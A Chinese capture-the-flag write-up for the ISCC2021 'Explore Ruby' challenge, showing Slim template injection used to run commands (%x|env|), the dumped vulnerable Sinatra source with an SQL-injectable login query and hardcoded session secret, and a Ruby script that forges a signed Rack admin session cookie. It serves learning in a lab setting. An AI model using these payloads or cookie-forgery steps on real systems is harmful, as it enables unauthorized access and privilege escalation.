ISCC2021

Explore Ruby

题目两个入口,以为是给选手两个环境,防止注册太多用户,做到后面才知道不是。

首先是入口1,输入框的背景字是‘demo‘,下文就称这个入口的网站为demo。

demo环境可以注册,进去发现一个输入框,输入多数字符会直接显示,少数字符会返回“不对哦,在(再)试试吧”。例如可以执行命令的反引号。

截屏2021-05-11 上午10.29.19

网站下方标有网站所用的模板

想到可能是ssti,现在就需要知道这个模板引擎的解析符号是什么(例如flask 是”\{\{\}\}”)

在google上搜索相关内容。可知slim的模板标记符是#{}

截屏2021-05-11 上午10.38.21

测试成功

截屏2021-05-11 上午10.45.35

接下来就是找一找ruby如何执行命令

反引号,system都被过滤了。最后找到#{ %x|env| }

截屏2021-05-11 上午10.51.00

可见有环境变量FLAG但是内容是假flag==

ls

截屏2021-05-11 上午10.49.50

没有命令被过滤,可以任意执行。

读网站源码webserver.rb



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
require 'sinatra'
require 'slim'
require 'sqlite3'

# don't minify HTML
Slim::Engine.set_options pretty: true

configure do
set :public_folder, 'public'
set :views, 'views'
set :bind, '0.0.0.0'
set :port, 9999
enable :sessions
set :server, %w[thin webrick]
set :environment, :production
#set :environment, :development
#disable :protection
set :session_secret, '01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85'
end

def authenticate!
unless session[:username]
redirect to('/login')
end
end

### Create DB ###
# db = SQLite3::Database.new 'database.db'
# Create a table
# rows = db.execute <<-SQL
# create table users (
# username varchar(20),
# password varchar(20),
# role varchar(20)
# );
# SQL
# Add demo account
# db.execute('INSERT INTO users (username, password, role)
# VALUES (?, ?, ?)', ['demo', 'demo', 'user'])
# db.close

get '/' do
authenticate!
redirect to('/home')
end

get '/login' do
@message = params['message']
@hide = 'hidden' if params['message'].nil?
slim :login
end

post '/auth' do
# Open a database
db = SQLite3::Database.new 'database.db', {readonly: true}
user = params['username']
pass = params['password']
query = "SELECT username, password, role FROM users WHERE username='#{user}' AND password='#{pass}';"
rows = db.execute(query)
db.close
unless rows.empty?
username, password, role = rows.first
session.clear
session[:username] = username
session[:role] = role
redirect to('/home')
else
sleep 0.1
message = '错误的凭证!'
redirect to("/login?message=#{message}")
end
end

post '/register' do
sleep 0.1
message = '不可注册!'
redirect to("/login?message=#{message}")
end

get '/home' do
authenticate!
@user = session[:username]
@flag = ENV['FLAG'] if session[:role] == 'admin'
slim :home
end

get '/logout' do
session.clear
message = '你已经退出登录啦.'
redirect to("/login?message=#{message}")
end

post '/id' do
authenticate!
unless params['message'].nil?
id = params['message'].unpack('H*').first
redirect to("/id/#{id}")
else
redirect to('/home')
end
end

# Bad code
get '/id/:id' do
authenticate!
message = [params['id']].pack('H*')
# Filesystem is mounted in readonly so RCE is not so much a problem
# but I prefer people to the the secret with the elegant solution
# Sinatra::Application.settings.session_secret
# rather than by reading the code source. So let's put a little, certainly not
# unbreakable, blacklist.
blacklist_methods = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system|base64|pack/
blacklist_classes = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread|IO/
blacklist_chars = /\(|\)|\[|\]/
if blacklist_methods.match?(message) || blacklist_classes.match?(message) || blacklist_chars.match?(message)
message = '不对哦, 在试试吧!.'
end
# SSTI
template = File.read('views/id.slim').gsub('@@@REPLACE@@@', message)
Slim::Template.new{ template }.render
end

=begin
# Good code
get '/id/:id' do
authenticate!
@message = [params['id']].pack('H*')
slim :index
end
=end

找到身份验证的代码,发现这还是从环境变量里取出的FLAG。

截屏2021-05-11 上午11.02.49

翻了翻目录也没找到,突然注意到题目说的是截屏2021-05-11 上午11.31.55

题目提到了两颗红宝石,也就是说两个环境是出题人准备的,想到可能是要我们拿demo的源码打flag环境。

因为不会ruby,猜是session中的role字段要改成admin

参考Cookie篡改

rack_seesion的组成有两部分,前半部分是由ruby的Marshal.dump生成的序列化字符串,后半部分是签名

前半部分是base64加密过的,url decode后直接base64解密就可以了。接着再用Marshal.load加载为对象

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require "uri"

require 'pp'

require 'base64'

url="http://39.96.91.106:8231"

secret_key="01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85"

decoded = Base64.decode64("
BAh7CkkiDXVzZXJuYW1lBjoGRUZJIgluMHAzBjsAVEkiCXJvbGUGOwBGSSIJ
dXNlcgY7AFRJIg9zZXNzaW9uX2lkBjsAVEkiRWQ0YmU0YTU5ODAzMDc3NjY3
YzY4MzJkODhmZjExOTZlYWVhMTFmMTEwODdjODkzYTdlOGE0YzIyYTA1OTQ0
NjUGOwBGSSIJY3NyZgY7AEZJIjFFenJPU3poSzBuMWZsVDZRdS93OWdnSCsy
SzFpcGxnUnlteFFQejZzWnM4PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhU
VFBfVVNFUl9BR0VOVAY7AFRJIi00NzExZTRhOTI3OGQyOTMyY2IzMjZmYzBj
MmVhODBiYzJjMDcyZDJhBjsARg==
")
object = Marshal.load(decoded)
pp object

截屏2021-05-11 上午11.06.44

发现role字段。

1
2
3
4
5
6
7
8
9
10
# create new session
object["username"] = 'n0p3'
object["role"]='admin'
pp object
# new cookie:
nc =Base64.encode64(Marshal.dump(object))
ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,secret_key, nc)
newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns
#pp object
pp newcookie

生成新cookie

截屏2021-05-11 上午11.34.26

Nice。